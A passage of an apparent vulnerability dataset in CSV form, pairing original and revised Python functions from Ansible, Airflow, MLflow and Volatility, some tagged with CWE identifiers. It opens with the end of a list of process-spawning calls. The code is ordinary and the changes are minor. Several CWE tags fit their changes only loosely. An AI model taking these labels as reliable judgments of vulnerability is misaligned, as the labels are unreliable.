                ""os.execlpe"",
                ""os.execv"",
                ""os.execve"",
                ""os.execvp"",
                ""os.execvpe"",
                ""os.spawnl"",
                ""os.spawnle"",
                ""os.spawnlp"",
                ""os.spawnlpe"",
                ""os.spawnv"",
                ""os.spawnve"",
                ""os.spawnvp"",
                ""os.spawnvpe"",
                ""os.startfile"",
            ],
        }"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options] [<playbook.yml>]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
            desc=""pulls playbooks from a VCS repo and executes them for the local host"",
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
                               help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
                               help='sleep for random interval (between 0 and n number of seconds) before starting. '
                                    'This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
                               help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
                               help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
                               help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
                               help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
                               help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
                                    'This needs the corresponding VCS module to support such an operation')
        self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
                               help='modified files in the working repository will be discarded')
        self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
                               help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')
        self.parser.add_option(""--check"", default=False, dest='check', action='store_true',
                               help=""don't make any changes; instead, try to predict some of the changes that may occur"")

        # for pull we don't want a default
        self.parser.set_defaults(inventory=None)

        super(PullCLI, self).parse()

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if os.path.exists(self.options.dest) and not os.path.isdir(self.options.dest):
            raise AnsibleOptionsError(""%s is not a valid or accessible directory."" % self.options.dest)

        if self.options.sleep:
            try:
                secs = random.randint(0, int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,83dec70ad835a818590d360fb742596e0b8f5472,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options] [<playbook.yml>]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
            desc=""pulls playbooks from a VCS repo and executes them for the local host"",
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
                               help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
                               help='sleep for random interval (between 0 and n number of seconds) before starting. '
                                    'This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
                               help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
                               help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
                               help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
                               help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
                               help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
                                    'This needs the corresponding VCS module to support such an operation')
        self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
                               help='modified files in the working repository will be discarded')
        self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
                               help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')
        self.parser.add_option(""--check"", default=False, dest='check', action='store_true',
                               help=""don't make any changes; instead, try to predict some of the changes that may occur"")

        # for pull we don't want a default
        self.parser.set_defaults(inventory=None)

        super(PullCLI, self).parse()

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0, int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_ecs.py,1,"def test_check_success_tasks_raises_logs_disabled(self):
        client_mock = mock.Mock()
        self.ecs.arn = 'arn'
        self.ecs.client = client_mock

        client_mock.describe_tasks.return_value = {
            'tasks': [{'containers': [{'name': 'foo', 'lastStatus': 'STOPPED', 'exitCode': 1}]}]
        }

        with pytest.raises(Exception) as ctx:
            self.ecs._check_success_task()

        assert ""This task is not in success state "" in str(ctx.value)
        assert ""'name': 'foo'"" in str(ctx.value)
        assert ""'lastStatus': 'STOPPED'"" in str(ctx.value)
        assert ""'exitCode': 1"" in str(ctx.value)
        client_mock.describe_tasks.assert_called_once_with(cluster='c', tasks=['arn'])",CWE-703,apache/airflow,206cce971da6941e8c1b0d3c4dbf4fa8afe0fba4,"def test_check_success_tasks_raises_logs_disabled(self):
        client_mock = mock.Mock()
        self.ecs.arn = 'arn'
        self.ecs.client = client_mock

        client_mock.describe_tasks.return_value = {
            'tasks': [{'containers': [{'name': 'foo', 'lastStatus': 'STOPPED', 'exitCode': 1}]}]
        }

        with pytest.raises(Exception) as ctx:
            self.ecs._check_success_task()

        assert ""This task is not in success state "" in str(ctx.value)
        assert ""'name': 'foo'"" in str(ctx.value)
        assert ""'lastStatus': 'STOPPED'"" in str(ctx.value)
        assert ""'exitCode': 1"" in str(ctx.value)
        client_mock.describe_tasks.assert_called_once_with(cluster='c', tasks=['arn'])"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tensorflow/__init__.py,0,"def autolog(
    every_n_iter=1,
    log_models=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=False,
    silent=False,
    registered_model_name=None,
    log_input_examples=False,
    log_model_signatures=True,
    saved_model_kwargs=None,
    keras_model_kwargs=None,
):  # pylint: disable=unused-argument
    # pylint: disable=E0611
    """"""
    Enables autologging for ``tf.keras`` and ``keras``.
    Note that only ``tensorflow>=2.3`` are supported.
    As an example, try running the
    `Keras/TensorFlow example <https://github.com/mlflow/mlflow/blob/master/examples/keras/train.py>`_.

    For each TensorFlow module, autologging captures the following information:

    **tf.keras**
     - **Metrics** and **Parameters**

      - Training loss; validation loss; user-specified metrics
      - ``fit()`` or ``fit_generator()`` parameters; optimizer name; learning rate; epsilon

     - **Artifacts**

      - Model summary on training start
      - `MLflow Model <https://mlflow.org/docs/latest/models.html>`_ (Keras model)
      - TensorBoard logs on training end

    **tf.keras.callbacks.EarlyStopping**
     - **Metrics** and **Parameters**

      - Metrics from the ``EarlyStopping`` callbacks: ``stopped_epoch``, ``restored_epoch``,
        ``restore_best_weight``, etc
      - ``fit()`` or ``fit_generator()`` parameters associated with ``EarlyStopping``:
        ``min_delta``, ``patience``, ``baseline``, ``restore_best_weights``, etc

    Refer to the autologging tracking documentation for more
    information on `TensorFlow workflows
    <https://www.mlflow.org/docs/latest/tracking.html#tensorflow-and-keras-experimental>`_.

    :param every_n_iter: The frequency with which metrics should be logged. For example, a value of
                         100 will log metrics at step 0, 100, 200, etc.
    :param log_models: If ``True``, trained models are logged as MLflow model artifacts.
                       If ``False``, trained models are not logged.
    :param disable: If ``True``, disables the TensorFlow autologging integration. If ``False``,
                    enables the TensorFlow integration autologging integration.
    :param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
                      If ``False``, autologged content is logged to the active fluent run,
                      which may be user-created.
    :param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
                      tensorflow that have not been tested against this version of the MLflow
                      client or are incompatible.
    :param silent: If ``True``, suppress all event logs and warnings from MLflow during TensorFlow
                   autologging. If ``False``, show all events and warnings during TensorFlow
                   autologging.
    :param registered_model_name: If given, each time a model is trained, it is registered as a
                                  new model version of the registered model with this name.
                                  The registered model is created if it does not already exist.
    :param log_input_examples: If ``True``, input examples from training datasets are collected and
                               logged along with tf/keras model artifacts during training. If
                               ``False``, input examples are not logged.
    :param log_model_signatures: If ``True``,
                                 :py:class:`ModelSignatures <mlflow.models.ModelSignature>`
                                 describing model inputs and outputs are collected and logged along
                                 with tf/keras model artifacts during training. If ``False``,
                                 signatures are not logged. Note that logging TensorFlow models
                                 with signatures changes their pyfunc inference behavior when
                                 Pandas DataFrames are passed to ``predict()``.
                                 When a signature is present, an ``np.ndarray``
                                 (for single-output models) or a mapping from
                                 ``str`` -> ``np.ndarray`` (for multi-output models) is returned;
                                 when a signature is not present, a Pandas DataFrame is returned.
    :param saved_model_kwargs: a dict of kwargs to pass to ``tensorflow.saved_model.save`` method.
    :param keras_model_kwargs: a dict of kwargs to pass to ``keras_model.save`` method.
    """"""
    import tensorflow

    global _LOG_EVERY_N_STEPS
    _LOG_EVERY_N_STEPS = every_n_iter

    atexit.register(_flush_queue)

    if Version(tensorflow.__version__) < Version(""2.3""):
        warnings.warn(""Could not log to MLflow. TensorFlow versions below 2.3 are not supported."")
        return

    @picklable_exception_safe_function
    def _get_early_stop_callback(callbacks):
        for callback in callbacks:
            if isinstance(callback, tensorflow.keras.callbacks.EarlyStopping):
                return callback
        return None

    def _log_early_stop_callback_params(callback):
        if callback:
            try:
                earlystopping_params = {
                    ""monitor"": callback.monitor,
                    ""min_delta"": callback.min_delta,
                    ""patience"": callback.patience,
                    ""baseline"": callback.baseline,
                    ""restore_best_weights"": callback.restore_best_weights,
                }
                mlflow.log_params(earlystopping_params)
            except Exception:  # pylint: disable=W0703
                return

    def _get_early_stop_callback_attrs(callback):
        try:
            return callback.stopped_epoch, callback.restore_best_weights, callback.patience
        except Exception:  # pylint: disable=W0703
            return None

    def _log_early_stop_callback_metrics(callback, history, metrics_logger):
        if callback is None or not callback.model.stop_training:
            return

        callback_attrs = _get_early_stop_callback_attrs(callback)
        if callback_attrs is None:
            return

        stopped_epoch, restore_best_weights, _ = callback_attrs
        metrics_logger.record_metrics({""stopped_epoch"": stopped_epoch})

        if not restore_best_weights or callback.best_weights is None:
            return

        monitored_metric = history.history.get(callback.monitor)
        if not monitored_metric:
            return

        initial_epoch = history.epoch[0]
        # If `monitored_metric` contains multiple best values (e.g. [0.1, 0.1, 0.2] where 0.1 is
        # the minimum loss), the epoch corresponding to the first occurrence of the best value is
        # the best epoch. In keras > 2.6.0, the best epoch can be obtained via the `best_epoch`
        # attribute of an `EarlyStopping` instance: https://github.com/keras-team/keras/pull/15197
        restored_epoch = initial_epoch + monitored_metric.index(callback.best)
        metrics_logger.record_metrics({""restored_epoch"": restored_epoch})
        restored_index = history.epoch.index(restored_epoch)
        restored_metrics = {
            key: metrics[restored_index] for key, metrics in history.history.items()
        }
        # Checking that a metric history exists
        metric_key = next(iter(history.history), None)
        if metric_key is not None:
            metrics_logger.record_metrics(restored_metrics, stopped_epoch + 1)

    def _log_keras_model(history, args):
        def _infer_model_signature(input_data_slice):
            # In certain TensorFlow versions, calling `predict()` on model  may modify
            # the `stop_training` attribute, so we save and restore it accordingly
            original_stop_training = history.model.stop_training
            model_output = history.model.predict(input_data_slice)
            history.model.stop_training = original_stop_training
            return infer_signature(input_data_slice, model_output)

        from mlflow.tensorflow._autolog import extract_tf_keras_input_example

        def _get_tf_keras_input_example_slice():
            input_training_data = args[0]
            keras_input_example_slice = extract_tf_keras_input_example(input_training_data)
            if keras_input_example_slice is None:
                raise MlflowException(
                    ""Cannot log input example or model signature for input with type""
                    f"" {type(input_training_data)}. TensorFlow Keras autologging can""
                    "" only log input examples and model signatures for the following""
                    "" input types: numpy.ndarray, dict[string -> numpy.ndarray],""
                    "" tensorflow.keras.utils.Sequence, and""
                    "" tensorflow.data.Dataset (TensorFlow >= 2.1.0 required)"",
                    INVALID_PARAMETER_VALUE,
                )
            return keras_input_example_slice

        input_example, signature = resolve_input_example_and_signature(
            _get_tf_keras_input_example_slice,
            _infer_model_signature,
            log_input_examples,
            log_model_signatures,
            _logger,
        )

        log_model(
            model=history.model,
            artifact_path=""model"",
            input_example=input_example,
            signature=signature,
            registered_model_name=get_autologging_config(
                FLAVOR_NAME, ""registered_model_name"", None
            ),
            saved_model_kwargs=saved_model_kwargs,
            keras_model_kwargs=keras_model_kwargs,
        )

    class FitPatch(PatchFunction):
        def __init__(self):
            self.log_dir = None

        def _patch_implementation(
            self, original, inst, *args, **kwargs
        ):  # pylint: disable=arguments-differ
            unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]

            batch_size = None
            try:
                training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
                if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
                    training_data, ""_batch_size""
                ):
                    batch_size = training_data._batch_size.numpy()
                elif isinstance(training_data, tensorflow.keras.utils.Sequence):
                    first_batch_inputs, _ = training_data[0]
                    batch_size = len(first_batch_inputs)
                elif is_iterator(training_data):
                    peek = next(training_data)
                    batch_size = len(peek[0])

                    def __restore_generator(prev_generator):
                        yield peek
                        yield from prev_generator

                    restored_generator = __restore_generator(training_data)
                    if ""x"" in kwargs:
                        kwargs[""x""] = restored_generator
                    else:
                        args = (restored_generator,) + args[1:]
            except Exception as e:
                _logger.warning(
                    ""Encountered unexpected error while inferring batch size from training""
                    "" dataset: %s"",
                    e,
                )

            if batch_size is not None:
                mlflow.log_param(""batch_size"", batch_size)
                unlogged_params.append(""batch_size"")

            log_fn_args_as_params(original, args, kwargs, unlogged_params)

            run_id = mlflow.active_run().info.run_id
            with batch_metrics_logger(run_id) as metrics_logger:
                # Check if the 'callback' argument of fit() is set positionally
                if len(args) >= 6:
                    # Convert the positional training function arguments to a list in order to
                    # mutate the contents
                    args = list(args)
                    # Make a shallow copy of the preexisting callbacks to avoid permanently
                    # modifying their contents for future training invocations. Introduce
                    # TensorBoard & tf.keras callbacks if necessary
                    callbacks = list(args[5])
                    callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
                    # Replace the callbacks positional entry in the copied arguments and convert
                    # the arguments back to tuple form for usage in the training function
                    args[5] = callbacks
                    args = tuple(args)
                else:
                    # Make a shallow copy of the preexisting callbacks and introduce TensorBoard
                    # & tf.keras callbacks if necessary
                    callbacks = list(kwargs.get(""callbacks"") or [])
                    kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)

                early_stop_callback = _get_early_stop_callback(callbacks)
                _log_early_stop_callback_params(early_stop_callback)

                history = original(inst, *args, **kwargs)

                if log_models:
                    _log_keras_model(history, args)

                _log_early_stop_callback_metrics(
                    callback=early_stop_callback,
                    history=history,
                    metrics_logger=metrics_logger,
                )

                _flush_queue()
                mlflow.log_artifacts(
                    local_dir=self.log_dir.location,
                    artifact_path=""tensorboard_logs"",
                )
            if self.log_dir.is_temp:
                shutil.rmtree(self.log_dir.location)
            return history

        def _on_exception(self, exception):
            if (
                self.log_dir is not None
                and self.log_dir.is_temp
                and os.path.exists(self.log_dir.location)
            ):
                shutil.rmtree(self.log_dir.location)

    managed = [
        (tensorflow.keras.Model, ""fit"", FitPatch),
    ]

    for p in managed:
        safe_patch(FLAVOR_NAME, *p, manage_run=True)",,mlflow/mlflow,9d37f52151ec486b10cc506a795c19711a763bc9,"def autolog(
    every_n_iter=1,
    log_models=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=False,
    silent=False,
    registered_model_name=None,
    log_input_examples=False,
    log_model_signatures=True,
    saved_model_kwargs=None,
    keras_model_kwargs=None,
):  # pylint: disable=unused-argument
    # pylint: disable=E0611
    """"""
    Enables autologging for ``tf.keras`` and ``keras``.
    Note that only ``tensorflow>=2.3`` are supported.
    As an example, try running the
    `TensorFlow examples <https://github.com/mlflow/mlflow/tree/master/examples/tensorflow>`_.

    For each TensorFlow module, autologging captures the following information:

    **tf.keras**
     - **Metrics** and **Parameters**

      - Training loss; validation loss; user-specified metrics
      - ``fit()`` or ``fit_generator()`` parameters; optimizer name; learning rate; epsilon

     - **Artifacts**

      - Model summary on training start
      - `MLflow Model <https://mlflow.org/docs/latest/models.html>`_ (Keras model)
      - TensorBoard logs on training end

    **tf.keras.callbacks.EarlyStopping**
     - **Metrics** and **Parameters**

      - Metrics from the ``EarlyStopping`` callbacks: ``stopped_epoch``, ``restored_epoch``,
        ``restore_best_weight``, etc
      - ``fit()`` or ``fit_generator()`` parameters associated with ``EarlyStopping``:
        ``min_delta``, ``patience``, ``baseline``, ``restore_best_weights``, etc

    Refer to the autologging tracking documentation for more
    information on `TensorFlow workflows
    <https://www.mlflow.org/docs/latest/tracking.html#tensorflow-and-keras-experimental>`_.

    :param every_n_iter: The frequency with which metrics should be logged. For example, a value of
                         100 will log metrics at step 0, 100, 200, etc.
    :param log_models: If ``True``, trained models are logged as MLflow model artifacts.
                       If ``False``, trained models are not logged.
    :param disable: If ``True``, disables the TensorFlow autologging integration. If ``False``,
                    enables the TensorFlow integration autologging integration.
    :param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
                      If ``False``, autologged content is logged to the active fluent run,
                      which may be user-created.
    :param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
                      tensorflow that have not been tested against this version of the MLflow
                      client or are incompatible.
    :param silent: If ``True``, suppress all event logs and warnings from MLflow during TensorFlow
                   autologging. If ``False``, show all events and warnings during TensorFlow
                   autologging.
    :param registered_model_name: If given, each time a model is trained, it is registered as a
                                  new model version of the registered model with this name.
                                  The registered model is created if it does not already exist.
    :param log_input_examples: If ``True``, input examples from training datasets are collected and
                               logged along with tf/keras model artifacts during training. If
                               ``False``, input examples are not logged.
    :param log_model_signatures: If ``True``,
                                 :py:class:`ModelSignatures <mlflow.models.ModelSignature>`
                                 describing model inputs and outputs are collected and logged along
                                 with tf/keras model artifacts during training. If ``False``,
                                 signatures are not logged. Note that logging TensorFlow models
                                 with signatures changes their pyfunc inference behavior when
                                 Pandas DataFrames are passed to ``predict()``.
                                 When a signature is present, an ``np.ndarray``
                                 (for single-output models) or a mapping from
                                 ``str`` -> ``np.ndarray`` (for multi-output models) is returned;
                                 when a signature is not present, a Pandas DataFrame is returned.
    :param saved_model_kwargs: a dict of kwargs to pass to ``tensorflow.saved_model.save`` method.
    :param keras_model_kwargs: a dict of kwargs to pass to ``keras_model.save`` method.
    """"""
    import tensorflow

    global _LOG_EVERY_N_STEPS
    _LOG_EVERY_N_STEPS = every_n_iter

    atexit.register(_flush_queue)

    if Version(tensorflow.__version__) < Version(""2.3""):
        warnings.warn(""Could not log to MLflow. TensorFlow versions below 2.3 are not supported."")
        return

    @picklable_exception_safe_function
    def _get_early_stop_callback(callbacks):
        for callback in callbacks:
            if isinstance(callback, tensorflow.keras.callbacks.EarlyStopping):
                return callback
        return None

    def _log_early_stop_callback_params(callback):
        if callback:
            try:
                earlystopping_params = {
                    ""monitor"": callback.monitor,
                    ""min_delta"": callback.min_delta,
                    ""patience"": callback.patience,
                    ""baseline"": callback.baseline,
                    ""restore_best_weights"": callback.restore_best_weights,
                }
                mlflow.log_params(earlystopping_params)
            except Exception:  # pylint: disable=W0703
                return

    def _get_early_stop_callback_attrs(callback):
        try:
            return callback.stopped_epoch, callback.restore_best_weights, callback.patience
        except Exception:  # pylint: disable=W0703
            return None

    def _log_early_stop_callback_metrics(callback, history, metrics_logger):
        if callback is None or not callback.model.stop_training:
            return

        callback_attrs = _get_early_stop_callback_attrs(callback)
        if callback_attrs is None:
            return

        stopped_epoch, restore_best_weights, _ = callback_attrs
        metrics_logger.record_metrics({""stopped_epoch"": stopped_epoch})

        if not restore_best_weights or callback.best_weights is None:
            return

        monitored_metric = history.history.get(callback.monitor)
        if not monitored_metric:
            return

        initial_epoch = history.epoch[0]
        # If `monitored_metric` contains multiple best values (e.g. [0.1, 0.1, 0.2] where 0.1 is
        # the minimum loss), the epoch corresponding to the first occurrence of the best value is
        # the best epoch. In keras > 2.6.0, the best epoch can be obtained via the `best_epoch`
        # attribute of an `EarlyStopping` instance: https://github.com/keras-team/keras/pull/15197
        restored_epoch = initial_epoch + monitored_metric.index(callback.best)
        metrics_logger.record_metrics({""restored_epoch"": restored_epoch})
        restored_index = history.epoch.index(restored_epoch)
        restored_metrics = {
            key: metrics[restored_index] for key, metrics in history.history.items()
        }
        # Checking that a metric history exists
        metric_key = next(iter(history.history), None)
        if metric_key is not None:
            metrics_logger.record_metrics(restored_metrics, stopped_epoch + 1)

    def _log_keras_model(history, args):
        def _infer_model_signature(input_data_slice):
            # In certain TensorFlow versions, calling `predict()` on model  may modify
            # the `stop_training` attribute, so we save and restore it accordingly
            original_stop_training = history.model.stop_training
            model_output = history.model.predict(input_data_slice)
            history.model.stop_training = original_stop_training
            return infer_signature(input_data_slice, model_output)

        from mlflow.tensorflow._autolog import extract_tf_keras_input_example

        def _get_tf_keras_input_example_slice():
            input_training_data = args[0]
            keras_input_example_slice = extract_tf_keras_input_example(input_training_data)
            if keras_input_example_slice is None:
                raise MlflowException(
                    ""Cannot log input example or model signature for input with type""
                    f"" {type(input_training_data)}. TensorFlow Keras autologging can""
                    "" only log input examples and model signatures for the following""
                    "" input types: numpy.ndarray, dict[string -> numpy.ndarray],""
                    "" tensorflow.keras.utils.Sequence, and""
                    "" tensorflow.data.Dataset (TensorFlow >= 2.1.0 required)"",
                    INVALID_PARAMETER_VALUE,
                )
            return keras_input_example_slice

        input_example, signature = resolve_input_example_and_signature(
            _get_tf_keras_input_example_slice,
            _infer_model_signature,
            log_input_examples,
            log_model_signatures,
            _logger,
        )

        log_model(
            model=history.model,
            artifact_path=""model"",
            input_example=input_example,
            signature=signature,
            registered_model_name=get_autologging_config(
                FLAVOR_NAME, ""registered_model_name"", None
            ),
            saved_model_kwargs=saved_model_kwargs,
            keras_model_kwargs=keras_model_kwargs,
        )

    class FitPatch(PatchFunction):
        def __init__(self):
            self.log_dir = None

        def _patch_implementation(
            self, original, inst, *args, **kwargs
        ):  # pylint: disable=arguments-differ
            unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]

            batch_size = None
            try:
                training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
                if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
                    training_data, ""_batch_size""
                ):
                    batch_size = training_data._batch_size.numpy()
                elif isinstance(training_data, tensorflow.keras.utils.Sequence):
                    first_batch_inputs, _ = training_data[0]
                    batch_size = len(first_batch_inputs)
                elif is_iterator(training_data):
                    peek = next(training_data)
                    batch_size = len(peek[0])

                    def __restore_generator(prev_generator):
                        yield peek
                        yield from prev_generator

                    restored_generator = __restore_generator(training_data)
                    if ""x"" in kwargs:
                        kwargs[""x""] = restored_generator
                    else:
                        args = (restored_generator,) + args[1:]
            except Exception as e:
                _logger.warning(
                    ""Encountered unexpected error while inferring batch size from training""
                    "" dataset: %s"",
                    e,
                )

            if batch_size is not None:
                mlflow.log_param(""batch_size"", batch_size)
                unlogged_params.append(""batch_size"")

            log_fn_args_as_params(original, args, kwargs, unlogged_params)

            run_id = mlflow.active_run().info.run_id
            with batch_metrics_logger(run_id) as metrics_logger:
                # Check if the 'callback' argument of fit() is set positionally
                if len(args) >= 6:
                    # Convert the positional training function arguments to a list in order to
                    # mutate the contents
                    args = list(args)
                    # Make a shallow copy of the preexisting callbacks to avoid permanently
                    # modifying their contents for future training invocations. Introduce
                    # TensorBoard & tf.keras callbacks if necessary
                    callbacks = list(args[5])
                    callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
                    # Replace the callbacks positional entry in the copied arguments and convert
                    # the arguments back to tuple form for usage in the training function
                    args[5] = callbacks
                    args = tuple(args)
                else:
                    # Make a shallow copy of the preexisting callbacks and introduce TensorBoard
                    # & tf.keras callbacks if necessary
                    callbacks = list(kwargs.get(""callbacks"") or [])
                    kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)

                early_stop_callback = _get_early_stop_callback(callbacks)
                _log_early_stop_callback_params(early_stop_callback)

                history = original(inst, *args, **kwargs)

                if log_models:
                    _log_keras_model(history, args)

                _log_early_stop_callback_metrics(
                    callback=early_stop_callback,
                    history=history,
                    metrics_logger=metrics_logger,
                )

                _flush_queue()
                mlflow.log_artifacts(
                    local_dir=self.log_dir.location,
                    artifact_path=""tensorboard_logs"",
                )
            if self.log_dir.is_temp:
                shutil.rmtree(self.log_dir.location)
            return history

        def _on_exception(self, exception):
            if (
                self.log_dir is not None
                and self.log_dir.is_temp
                and os.path.exists(self.log_dir.location)
            ):
                shutil.rmtree(self.log_dir.location)

    managed = [
        (tensorflow.keras.Model, ""fit"", FitPatch),
    ]

    for p in managed:
        safe_patch(FLAVOR_NAME, *p, manage_run=True)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/taskmods.py,0,"def render_text(self, outfd, data):

        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
        self.table_header(outfd,
                          [(""Offset{0}"".format(offsettype), ""[addrpad]""),
                           (""Name"", ""20s""),
                           (""PID"", "">6""),
                           (""PPID"", "">6""),
                           (""Thds"", "">6""),
                           (""Hnds"", "">8""),
                           (""Sess"", "">6""),
                           (""Wow64"", "">6""),
                           (""Start"", ""20""),
                           (""Exit"", ""20"")]
                          )

        for task in data:
            # PHYSICAL_OFFSET must STRICTLY only be used in the results.  If it's used for anything else,
            # it needs to have cache_invalidator set to True in the options
            if not self._config.PHYSICAL_OFFSET:
                offset = task.obj_offset
            else:
                offset = task.obj_vm.vtop(task.obj_offset)
            self.table_row(outfd,
                offset,
                task.ImageFileName,
                task.UniqueProcessId,
                task.InheritedFromUniqueProcessId,
                task.ActiveThreads,
                task.ObjectTable.HandleCount,
                task.SessionId,
                task.IsWow64,
                str(task.CreateTime or ''),
                str(task.ExitTime or ''),
                )",,volatilityfoundation/volatility,090a3a9b8848123ba59096b476773b0b55c32767,"def render_text(self, outfd, data):

        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
        self.table_header(outfd,
                          [(""Offset{0}"".format(offsettype), ""[addrpad]""),
                           (""Name"", ""20s""),
                           (""PID"", "">6""),
                           (""PPID"", "">6""),
                           (""Thds"", "">6""),
                           (""Hnds"", "">6""),
                           (""Sess"", "">6""),
                           (""Wow64"", "">6""),
                           (""Start"", ""20""),
                           (""Exit"", ""20"")]
                          )

        for task in data:
            # PHYSICAL_OFFSET must STRICTLY only be used in the results.  If it's used for anything else,
            # it needs to have cache_invalidator set to True in the options
            if not self._config.PHYSICAL_OFFSET:
                offset = task.obj_offset
            else:
                offset = task.obj_vm.vtop(task.obj_offset)
            self.table_row(outfd,
                offset,
                task.ImageFileName,
                task.UniqueProcessId,
                task.InheritedFromUniqueProcessId,
                task.ActiveThreads,
                task.ObjectTable.HandleCount,
                task.SessionId, 
                task.IsWow64, 
                str(task.CreateTime or ''), 
                str(task.ExitTime or ''),
                )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/lightgbm.py,0,"def log_model(
    lgb_model,
    artifact_path,
    conda_env=None,
    code_paths=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
    **kwargs,
):
    """"""
    Log a LightGBM model as an MLflow artifact for the current run.

    :param lgb_model: LightGBM model (an instance of `lightgbm.Booster`_) or
                      models that implement the `scikit-learn API`_  to be saved.
